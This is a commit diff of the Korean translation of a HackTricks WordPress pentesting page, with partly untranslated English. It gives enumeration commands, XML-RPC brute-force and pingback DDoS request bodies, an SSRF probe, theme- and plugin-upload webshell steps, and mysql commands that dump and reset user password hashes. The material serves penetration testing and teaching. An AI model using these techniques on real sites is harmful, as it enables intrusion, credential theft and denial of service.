mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/network-services-pentesting/pentesting-web/wordpres
This commit is contained in:
parent
083c2c4d92
commit
2311782d60
@ -4,20 +4,20 @@
|
||||
|
||||
## 기본 정보
|
||||
|
||||
- **업로드된** 파일은 다음 위치에 있습니다: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **테마 파일은 /wp-content/themes/에서 찾을 수 있습니다.** 따라서 RCE를 얻기 위해 테마의 php를 변경하면 해당 경로를 사용할 가능성이 높습니다. 예를 들어: **테마 twentytwelve**를 사용하면 **404.php** 파일에 **접근**할 수 있습니다: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **Uploaded** 파일은 다음 위치로 업로드됩니다: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Themes files can be found in /wp-content/themes/,** 따라서 테마의 일부 php를 변경하여 RCE를 얻으려는 경우 해당 경로를 사용하게 됩니다. 예를 들어: **theme twentytwelve**를 사용하면 [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)에서 **404.php** 파일에 접근할 수 있습니다.
|
||||
|
||||
- **또 다른 유용한 URL은:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- **wp-config.php**에서 데이터베이스의 루트 비밀번호를 찾을 수 있습니다.
|
||||
- 확인할 기본 로그인 경로: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
- `wp-config.php` 파일에서 데이터베이스의 루트 비밀번호를 찾을 수 있습니다.
|
||||
- 확인해야 할 기본 로그인 경로: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
|
||||
### **주요 WordPress 파일**
|
||||
### **Main WordPress Files**
|
||||
|
||||
- `index.php`
|
||||
- `license.txt`는 설치된 WordPress의 버전과 같은 유용한 정보를 포함합니다.
|
||||
- `wp-activate.php`는 새 WordPress 사이트를 설정할 때 이메일 활성화 프로세스에 사용됩니다.
|
||||
- 로그인 폴더(숨기기 위해 이름이 변경될 수 있음):
|
||||
- `license.txt`에는 설치된 WordPress 버전 등 유용한 정보가 들어있습니다.
|
||||
- `wp-activate.php`는 새로운 WordPress 사이트를 설정할 때 이메일 활성화 과정에 사용됩니다.
|
||||
- 로그인 폴더들(숨기기 위해 이름이 변경되었을 수 있음):
|
||||
- `/wp-admin/login.php`
|
||||
- `/wp-admin/wp-login.php`
|
||||
- `/login.php`
|
||||
@ -25,26 +25,26 @@
|
||||
- `xmlrpc.php`는 HTTP를 전송 메커니즘으로, XML을 인코딩 메커니즘으로 사용하여 데이터를 전송할 수 있게 해주는 WordPress의 기능을 나타내는 파일입니다. 이러한 유형의 통신은 WordPress [REST API](https://developer.wordpress.org/rest-api/reference)로 대체되었습니다.
|
||||
- `wp-content` 폴더는 플러그인과 테마가 저장되는 주요 디렉토리입니다.
|
||||
- `wp-content/uploads/`는 플랫폼에 업로드된 모든 파일이 저장되는 디렉토리입니다.
|
||||
- `wp-includes/`는 인증서, 글꼴, JavaScript 파일 및 위젯과 같은 핵심 파일이 저장되는 디렉토리입니다.
|
||||
- `wp-sitemap.xml`은 WordPress 버전 5.5 이상에서 모든 공개 게시물 및 공개 쿼리 가능한 게시물 유형과 분류법이 포함된 사이트맵 XML 파일을 생성합니다.
|
||||
- `wp-includes/`는 인증서, 글꼴, JavaScript 파일, 위젯 등 핵심 파일들이 저장되는 디렉토리입니다.
|
||||
- `wp-sitemap.xml` WordPress 버전 5.5 이상에서는 공개 게시물과 공개적으로 쿼리 가능한 포스트 타입 및 분류법을 모두 포함하는 sitemap XML 파일을 생성합니다.
|
||||
|
||||
**포스트 익스플로잇**
|
||||
**Post exploitation**
|
||||
|
||||
- `wp-config.php` 파일은 데이터베이스 이름, 데이터베이스 호스트, 사용자 이름 및 비밀번호, 인증 키 및 솔트, 데이터베이스 테이블 접두사와 같은 데이터베이스에 연결하는 데 필요한 정보를 포함합니다. 이 구성 파일은 DEBUG 모드를 활성화하는 데에도 사용될 수 있으며, 이는 문제 해결에 유용할 수 있습니다.
|
||||
- `wp-config.php` 파일에는 WordPress가 데이터베이스에 연결하는 데 필요한 데이터베이스 이름, 데이터베이스 호스트, 사용자 이름 및 비밀번호, 인증 키 및 솔트, 데이터베이스 테이블 접두사 등의 정보가 들어 있습니다. 이 구성 파일은 또한 문제 해결에 유용할 수 있는 DEBUG 모드를 활성화하는 데에도 사용될 수 있습니다.
|
||||
|
||||
### 사용자 권한
|
||||
|
||||
- **관리자**
|
||||
- **편집자**: 자신의 게시물 및 다른 게시물을 게시하고 관리합니다.
|
||||
- **저자**: 자신의 게시물을 게시하고 관리합니다.
|
||||
- **기여자**: 자신의 게시물을 작성하고 관리하지만 게시할 수는 없습니다.
|
||||
- **구독자**: 게시물을 탐색하고 자신의 프로필을 편집합니다.
|
||||
- **Administrator**
|
||||
- **Editor**: 자신의 글과 다른 사람의 글을 발행하고 관리합니다.
|
||||
- **Author**: 자신의 글을 발행하고 관리합니다.
|
||||
- **Contributor**: 글을 작성하고 관리할 수 있으나 발행할 수 없습니다.
|
||||
- **Subscriber**: 게시물을 탐색하고 자신의 프로필을 편집합니다.
|
||||
|
||||
## **수동 열거**
|
||||
## **Passive Enumeration**
|
||||
|
||||
### **WordPress 버전 가져오기**
|
||||
### **WordPress 버전 확인**
|
||||
|
||||
`/license.txt` 또는 `/readme.html` 파일을 찾을 수 있는지 확인합니다.
|
||||
파일 `/license.txt` 또는 `/readme.html`을 찾을 수 있는지 확인하세요.
|
||||
|
||||
페이지의 **소스 코드** 내에서 (예: [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
||||
|
||||
@ -72,44 +72,44 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
||||
```bash
|
||||
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
```
|
||||
### 일반적으로 버전 추출하기
|
||||
### 일반적인 버전 추출
|
||||
```bash
|
||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
|
||||
```
|
||||
## Active enumeration
|
||||
## 능동적 열거
|
||||
|
||||
### Plugins and Themes
|
||||
### 플러그인 및 테마
|
||||
|
||||
모든 플러그인과 테마를 찾는 것은 아마 불가능할 것입니다. 모든 것을 발견하기 위해서는 **플러그인과 테마 목록을 능동적으로 브루트 포스해야 합니다** (다행히도 이러한 목록을 포함하는 자동화 도구가 있습니다).
|
||||
아마 모든 플러그인과 테마를 찾을 수는 없을 것입니다. 모두를 발견하려면 **actively Brute Force a list of Plugins and Themes** 해야 합니다(다행히 이러한 목록을 포함한 자동화 도구들이 있습니다).
|
||||
|
||||
### Users
|
||||
### 사용자
|
||||
|
||||
- **ID Brute:** 브루트 포싱을 통해 WordPress 사이트에서 유효한 사용자 ID를 얻습니다:
|
||||
- **ID Brute:** WordPress 사이트에서 사용자 ID를 Brute Forcing하여 유효한 사용자를 얻습니다:
|
||||
```bash
|
||||
curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```
|
||||
응답이 **200** 또는 **30X**인 경우, id가 **유효**하다는 의미입니다. 응답이 **400**인 경우, id가 **유효하지** 않다는 의미입니다.
|
||||
응답이 **200** 또는 **30X**이면 해당 id는 **유효**합니다. 응답이 **400**이면 해당 id는 **무효**입니다.
|
||||
|
||||
- **wp-json:** 사용자에 대한 정보를 쿼리하여 얻으려고 시도할 수 있습니다:
|
||||
- **wp-json:** 사용자 정보를 쿼리하여 얻어볼 수도 있습니다:
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/wp/v2/users
|
||||
```
|
||||
또 다른 `/wp-json/` 엔드포인트는 사용자에 대한 정보를 드러낼 수 있습니다:
|
||||
사용자에 대한 일부 정보를 노출할 수 있는 또 다른 `/wp-json/` endpoint는 다음과 같습니다:
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||
이 엔드포인트는 게시물을 작성한 사용자만 노출합니다. **이 기능이 활성화된 사용자에 대한 정보만 제공됩니다**.
|
||||
Note that this endpoint only exposes users that have made a post. **이 기능을 활성화한 사용자에 대한 정보만 제공됩니다**.
|
||||
|
||||
또한 **/wp-json/wp/v2/pages**는 IP 주소를 유출할 수 있습니다.
|
||||
또한 **/wp-json/wp/v2/pages**가 IP 주소를 leak할 수 있다는 점에 유의하세요.
|
||||
|
||||
- **로그인 사용자 이름 열거**: **`/wp-login.php`**에 로그인할 때 **메시지**는 **사용자 이름이 존재하는지 여부에 따라 다릅니다**.
|
||||
- **Login username enumeration**: 로그인 시 **`/wp-login.php`**의 **메시지**가 **다르게 표시되어** **사용자 이름의 존재 여부**를 알려줍니다.
|
||||
|
||||
### XML-RPC
|
||||
|
||||
`xml-rpc.php`가 활성화되어 있으면 자격 증명 무차별 대입 공격을 수행하거나 다른 리소스에 대한 DoS 공격을 시작하는 데 사용할 수 있습니다. (예를 들어 [이것을 사용하여 이 프로세스를 자동화할 수 있습니다](https://github.com/relarizky/wpxploit)).
|
||||
If `xml-rpc.php` is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (예: 이 과정을 자동화하려면[ using this](https://github.com/relarizky/wpxploit)을 사용할 수 있습니다).
|
||||
|
||||
활성화되어 있는지 확인하려면 _**/xmlrpc.php**_에 접근하고 이 요청을 보내십시오:
|
||||
To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
||||
|
||||
**확인**
|
||||
```html
|
||||
@ -120,9 +120,9 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||

|
||||
|
||||
**자격 증명 무차별 대입**
|
||||
**Credentials Bruteforce**
|
||||
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** 또는 **`metaWeblog.getUsersBlogs`**는 자격 증명을 무차별 대입하는 데 사용할 수 있는 몇 가지 방법입니다. 이 중 하나를 찾을 수 있다면 다음과 같은 요청을 보낼 수 있습니다:
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** 또는 **`metaWeblog.getUsersBlogs`** 은(는) brute-force credentials에 사용할 수 있는 메서드들입니다. 이들 중 하나를 찾을 수 있다면 다음과 같이 보낼 수 있습니다:
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>wp.getUsersBlogs</methodName>
|
||||
@ -132,13 +132,13 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
메시지 _"잘못된 사용자 이름 또는 비밀번호"_는 자격 증명이 유효하지 않을 경우 200 코드 응답 내에 나타나야 합니다.
|
||||
200 코드 응답 안에 _"Incorrect username or password"_ 메시지가 나타나야 하며, 자격 증명이 유효하지 않을 경우 표시됩니다.
|
||||
|
||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||||
|
||||
.png>)
|
||||
|
||||
올바른 자격 증명을 사용하면 파일을 업로드할 수 있습니다. 응답에는 경로가 나타납니다 ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
올바른 자격 증명을 사용하면 파일을 업로드할 수 있습니다. 응답에는 경로가 표시됩니다 ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
```html
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<methodCall>
|
||||
@ -168,18 +168,18 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
또한 **`system.multicall`**을 사용하여 자격 증명을 무차별 대입하는 **더 빠른 방법**이 있습니다. 이를 통해 동일한 요청에서 여러 자격 증명을 시도할 수 있습니다:
|
||||
또한 **더 빠른 방법**이 있는데, 동일한 요청에서 여러 자격 증명을 시도할 수 있으므로 **`system.multicall`**을 사용해 자격 증명을 브루트포스할 수 있습니다:
|
||||
|
||||
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**2FA 우회**
|
||||
**Bypass 2FA**
|
||||
|
||||
이 방법은 프로그램을 위한 것이며 인간을 위한 것이 아니므로 오래된 방식으로 2FA를 지원하지 않습니다. 따라서 유효한 자격 증명이 있지만 주요 진입점이 2FA로 보호되어 있는 경우, **xmlrpc.php를 악용하여 해당 자격 증명으로 2FA를 우회하여 로그인할 수 있을지도 모릅니다**. 콘솔을 통해 수행할 수 있는 모든 작업을 수행할 수는 없지만, Ippsec이 [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)에서 설명한 것처럼 RCE에 도달할 수 있을지도 모릅니다.
|
||||
이 방법은 사람용이 아니라 프로그램용이며 오래된 방식이라 2FA를 지원하지 않습니다. 따라서 유효한 자격 증명이 있지만 메인 로그인에 2FA가 설정되어 있다면, **xmlrpc.php를 악용하여 해당 자격 증명으로 2FA를 우회해 로그인할 수 있을지도 모릅니다**. 콘솔을 통해 할 수 있는 모든 동작을 수행할 수는 없지만, Ippsec가 [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)에서 설명하는 것처럼 여전히 RCE에 도달할 수 있을 수도 있습니다.
|
||||
|
||||
**DDoS 또는 포트 스캐닝**
|
||||
**DDoS or port scanning**
|
||||
|
||||
목록에서 _**pingback.ping**_ 방법을 찾을 수 있다면, Wordpress가 임의의 요청을 어떤 호스트/포트로 보낼 수 있습니다.\
|
||||
이를 사용하여 **수천 개**의 Wordpress **사이트**에 **하나의 위치**에 **접근**하도록 요청할 수 있습니다(따라서 해당 위치에서 **DDoS**가 발생함) 또는 **Wordpress**를 사용하여 일부 내부 **네트워크**를 **스캔**하도록 할 수 있습니다(어떤 포트도 지정할 수 있습니다).
|
||||
목록에서 _**pingback.ping**_ 메서드를 찾을 수 있다면 Wordpress가 임의의 호스트/포트로 요청을 보내도록 만들 수 있습니다.\
|
||||
이를 이용해 **수천**개의 Wordpress **사이트들**에 한 **대상**에 접속하도록 요청할 수 있으므로 그 대상에 **DDoS**가 발생하게 만들 수 있으며, 또는 이를 사용해 **Wordpress**로 내부 **네트워크**를 **스캔**하게 할 수도 있습니다(임의의 포트를 지정할 수 있습니다).
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
@ -191,9 +191,9 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||

|
||||
|
||||
**faultCode**의 값이 **0** (17)보다 **크면**, 포트가 열려 있다는 의미입니다.
|
||||
**faultCode**의 값이 **0** (17)보다 **큰** 경우, 포트가 열려 있다는 의미입니다.
|
||||
|
||||
이 방법을 악용하여 DDoS를 유발하는 방법을 배우려면 이전 섹션에서 **`system.multicall`**의 사용을 살펴보세요.
|
||||
이전 섹션에서 **`system.multicall`**의 사용을 살펴보면 이 메서드를 악용하여 DDoS를 유발하는 방법을 배울 수 있습니다.
|
||||
|
||||
**DDoS**
|
||||
```html
|
||||
@ -210,16 +210,16 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
### wp-cron.php DoS
|
||||
|
||||
이 파일은 일반적으로 Wordpress 사이트의 루트에 존재합니다: **`/wp-cron.php`**\
|
||||
이 파일이 **접근**될 때 "**무거운**" MySQL **쿼리**가 수행되므로, **공격자**가 **DoS**를 **유발**하는 데 사용할 수 있습니다.\
|
||||
또한 기본적으로 `wp-cron.php`는 모든 페이지 로드 시(클라이언트가 Wordpress 페이지를 요청할 때마다) 호출되며, 트래픽이 많은 사이트에서는 문제가 발생할 수 있습니다(DoS).
|
||||
이 파일이 **접근될 때** **무거운** MySQL **쿼리**가 실행되므로, **공격자**가 **DoS**를 **유발**하는 데 사용할 수 있습니다.\
|
||||
또한, 기본적으로, `wp-cron.php`는 모든 페이지 로드 시(클라이언트가 어떤 Wordpress 페이지를 요청할 때마다) 호출되며, 트래픽이 많은 사이트에서는 문제가 될 수 있습니다 (DoS).
|
||||
|
||||
Wp-Cron을 비활성화하고 호스트 내에서 필요한 작업을 정기적으로 수행하는 실제 cronjob을 생성하는 것이 권장됩니다(문제를 일으키지 않도록).
|
||||
Wp-Cron을 비활성화하고 호스트 내에서 실제 cronjob을 생성해 정기적으로 필요한 작업을 수행하도록 하는 것이 권장됩니다 (문제 없이).
|
||||
|
||||
### /wp-json/oembed/1.0/proxy - SSRF
|
||||
|
||||
_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_에 접근해 보세요. 그러면 Worpress 사이트가 귀하에게 요청을 보낼 수 있습니다.
|
||||
다음 URL에 접근해 보세요: _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ 그리고 Worpress 사이트가 당신에게 요청을 보낼 수 있습니다.
|
||||
|
||||
작동하지 않을 때의 응답은 다음과 같습니다:
|
||||
This is the response when it doesn't work:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -230,100 +230,100 @@ _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt1
|
||||
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||||
{{#endref}}
|
||||
|
||||
이 도구는 **methodName: pingback.ping**과 **/wp-json/oembed/1.0/proxy** 경로가 존재하는지 확인하고, 존재할 경우 이를 악용하려고 시도합니다.
|
||||
이 도구는 **methodName: pingback.ping**과 경로 **/wp-json/oembed/1.0/proxy**가 있는지 확인하고, 존재하면 이를 악용하려 시도합니다.
|
||||
|
||||
## Automatic Tools
|
||||
## 자동 도구
|
||||
```bash
|
||||
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
|
||||
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
|
||||
#You can try to bruteforce the admin user using wpscan with "-U admin"
|
||||
```
|
||||
## 비트를 덮어써서 접근하기
|
||||
## 비트 하나 덮어써서 접근하기
|
||||
|
||||
실제 공격이라기보다는 호기심입니다. CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man)에서는 모든 워드프레스 파일에서 1비트를 뒤집을 수 있었습니다. 따라서 `/var/www/html/wp-includes/user.php` 파일의 위치 `5389`를 뒤집어 NOT (`!`) 연산을 NOP로 만들 수 있었습니다.
|
||||
실제 공격이라기보다는 호기심에 가깝다. 해당 CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man)에서는 어떤 wordpress 파일에서든 1비트를 뒤집을 수 있었다. 따라서 파일 `/var/www/html/wp-includes/user.php`의 위치 `5389`의 비트를 뒤집어 NOT (`!`) 연산을 NOP로 만들 수 있었다.
|
||||
```php
|
||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||
return new WP_Error(
|
||||
```
|
||||
## **패널 RCE**
|
||||
## **Panel RCE**
|
||||
|
||||
**사용 중인 테마의 php 수정 (관리자 자격 증명 필요)**
|
||||
**사용 중인 테마의 php 수정 (admin credentials needed)**
|
||||
|
||||
외관 → 테마 편집기 → 404 템플릿 (오른쪽)
|
||||
Appearance → Theme Editor → 404 Template (오른쪽)
|
||||
|
||||
php 쉘을 위한 내용을 변경합니다:
|
||||
php shell용으로 내용을 변경:
|
||||
|
||||
.png>)
|
||||
|
||||
업데이트된 페이지에 접근하는 방법을 인터넷에서 검색하세요. 이 경우 여기로 접근해야 합니다: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
업데이트된 페이지에 어떻게 접근하는지 인터넷에서 검색하세요. 이 경우 다음 위치에 접근해야 합니다: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
### MSF
|
||||
|
||||
다음과 같이 사용할 수 있습니다:
|
||||
다음을 사용할 수 있습니다:
|
||||
```bash
|
||||
use exploit/unix/webapp/wp_admin_shell_upload
|
||||
```
|
||||
to get a session.
|
||||
세션을 얻기 위해.
|
||||
|
||||
## Plugin RCE
|
||||
|
||||
### PHP plugin
|
||||
|
||||
플러그인으로 .php 파일을 업로드할 수 있을 수 있습니다.\
|
||||
예를 들어, php 백도어를 생성합니다:
|
||||
It may be possible to upload .php files as a plugin.\
|
||||
Create your php backdoor using for example:
|
||||
|
||||
.png>)
|
||||
|
||||
그런 다음 새 플러그인을 추가합니다:
|
||||
Then add a new plugin:
|
||||
|
||||
.png>)
|
||||
|
||||
플러그인을 업로드하고 지금 설치를 누릅니다:
|
||||
Upload plugin and press Install Now:
|
||||
|
||||
.png>)
|
||||
|
||||
계속 진행을 클릭합니다:
|
||||
Click on Procced:
|
||||
|
||||
.png>)
|
||||
|
||||
아마도 이것은 겉으로는 아무것도 하지 않을 것입니다. 하지만 미디어로 가면 업로드된 셸을 볼 수 있습니다:
|
||||
Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded:
|
||||
|
||||
.png>)
|
||||
|
||||
접속하면 리버스 셸을 실행할 URL을 볼 수 있습니다:
|
||||
Access it and you will see the URL to execute the reverse shell:
|
||||
|
||||
.png>)
|
||||
|
||||
### 악성 플러그인 업로드 및 활성화
|
||||
### Uploading and activating malicious plugin
|
||||
|
||||
이 방법은 취약한 것으로 알려진 악성 플러그인을 설치하여 웹 셸을 얻는 것을 포함합니다. 이 과정은 다음과 같이 WordPress 대시보드를 통해 수행됩니다:
|
||||
이 방법은 취약한 것으로 알려진 악성 plugin을 설치하여 web shell을 획득하는 방법입니다. 이 과정은 WordPress dashboard를 통해 다음과 같이 수행됩니다:
|
||||
|
||||
1. **플러그인 획득**: 플러그인은 [**여기**](https://www.exploit-db.com/exploits/36374)와 같은 출처에서 얻습니다.
|
||||
2. **플러그인 설치**:
|
||||
- WordPress 대시보드로 이동한 후 `대시보드 > 플러그인 > 플러그인 업로드`로 갑니다.
|
||||
- 다운로드한 플러그인의 zip 파일을 업로드합니다.
|
||||
3. **플러그인 활성화**: 플러그인이 성공적으로 설치되면 대시보드를 통해 활성화해야 합니다.
|
||||
4. **악용**:
|
||||
- "reflex-gallery" 플러그인이 설치되고 활성화되면, 취약한 것으로 알려져 있어 악용할 수 있습니다.
|
||||
- Metasploit 프레임워크는 이 취약점에 대한 익스플로잇을 제공합니다. 적절한 모듈을 로드하고 특정 명령을 실행함으로써 meterpreter 세션을 설정하여 사이트에 대한 무단 접근을 허용합니다.
|
||||
- 이는 WordPress 사이트를 악용하는 많은 방법 중 하나일 뿐입니다.
|
||||
1. **Plugin Acquisition**: 플러그인은 Exploit DB와 같은 출처에서 [**here**](https://www.exploit-db.com/exploits/36374)처럼 얻습니다.
|
||||
2. **Plugin Installation**:
|
||||
- WordPress dashboard에서 `Dashboard > Plugins > Upload Plugin`으로 이동합니다.
|
||||
- 다운로드한 plugin의 zip file을 업로드합니다.
|
||||
3. **Plugin Activation**: plugin이 성공적으로 설치되면 dashboard에서 활성화해야 합니다.
|
||||
4. **Exploitation**:
|
||||
- "reflex-gallery" plugin이 설치되고 활성화되면, 해당 plugin은 취약한 것으로 알려져 있어 이를 이용해 공격할 수 있습니다.
|
||||
- Metasploit framework는 이 취약점에 대한 exploit를 제공합니다. 적절한 모듈을 로드하고 특정 명령을 실행하면 meterpreter session을 획득하여 사이트에 무단 접근할 수 있습니다.
|
||||
- 이는 WordPress 사이트를 악용할 수 있는 여러 방법 중 하나에 불과합니다.
|
||||
|
||||
내용에는 플러그인을 설치하고 활성화하는 WordPress 대시보드의 단계를 보여주는 시각적 보조 자료가 포함되어 있습니다. 그러나 이러한 방식으로 취약점을 악용하는 것은 적절한 권한 없이 불법적이고 비윤리적이라는 점에 유의해야 합니다. 이 정보는 책임감 있게 사용해야 하며, 명시적인 허가가 있는 침투 테스트와 같은 법적 맥락에서만 사용해야 합니다.
|
||||
해당 내용에는 plugin을 설치하고 활성화하는 WordPress dashboard 단계들을 보여주는 시각적 자료가 포함되어 있습니다. 그러나 이러한 방식으로 취약점을 악용하는 것은 적절한 승인 없이 불법적이며 비윤리적임을 유의해야 합니다. 이 정보는 책임감 있게, 명시적 허가가 있는 법적 맥락(예: penetration testing)에서만 사용되어야 합니다.
|
||||
|
||||
**자세한 단계는 다음을 확인하세요:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
|
||||
## From XSS to RCE
|
||||
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_는 **Cross-Site Scripting (XSS)** 취약점을 **Remote Code Execution (RCE)** 또는 WordPress의 다른 중요한 취약점으로 상승시키기 위해 설계된 스크립트입니다. 자세한 내용은 [**이 게시물**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)을 확인하세요. **Wordpress 버전 6.X.X, 5.X.X 및 4.X.X를 지원하며 다음을 허용합니다:**
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is a script designed to escalate a **Cross-Site Scripting (XSS)** vulnerability to **Remote Code Execution (RCE)** or other's criticals vulnerabilities in WordPress. For more info check [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). It provides **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
|
||||
- _**Privilege Escalation:**_ WordPress에 사용자를 생성합니다.
|
||||
- _**(RCE) 사용자 정의 플러그인 (백도어) 업로드:**_ 사용자 정의 플러그인 (백도어)을 WordPress에 업로드합니다.
|
||||
- _**(RCE) 내장 플러그인 편집:**_ WordPress의 내장 플러그인을 편집합니다.
|
||||
- _**(RCE) 내장 테마 편집:**_ WordPress의 내장 테마를 편집합니다.
|
||||
- _**(Custom) 사용자 정의 익스플로잇:**_ 서드파티 WordPress 플러그인/테마에 대한 사용자 정의 익스플로잇.
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ 커스텀 plugin(backdoor)을 WordPress에 업로드합니다.
|
||||
- _**(RCE) Built-In Plugin Edit:**_ WordPress의 내장 플러그인을 편집합니다.
|
||||
- _**(RCE) Built-In Theme Edit:**_ WordPress의 내장 테마를 편집합니다.
|
||||
- _**(Custom) Custom Exploits:**_ 서드파티 WordPress Plugins/Themes용 커스텀 Exploits를 제공합니다.
|
||||
|
||||
## Post Exploitation
|
||||
|
||||
사용자 이름과 비밀번호 추출:
|
||||
Extract usernames and passwords:
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
|
||||
```
|
||||
@ -331,29 +331,29 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
|
||||
```
|
||||
## Wordpress Plugins Pentest
|
||||
## Wordpress 플러그인 Pentest
|
||||
|
||||
### Attack Surface
|
||||
|
||||
워드프레스 플러그인이 기능을 어떻게 노출할 수 있는지를 아는 것은 그 기능에서 취약점을 찾는 데 핵심입니다. 플러그인이 기능을 어떻게 노출할 수 있는지에 대한 내용은 다음의 글머리 기호와 [**이 블로그 포스트**](https://nowotarski.info/wordpress-nonce-authorization/)의 취약한 플러그인 예시에서 확인할 수 있습니다.
|
||||
Wordpress 플러그인이 기능을 어떻게 노출하는지 아는 것은 해당 기능에서 취약점을 찾는 데 핵심입니다. 플러그인이 기능을 노출하는 방법은 다음 글머리표에서 확인할 수 있으며, 취약한 플러그인의 예시는 [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/)에 있습니다.
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
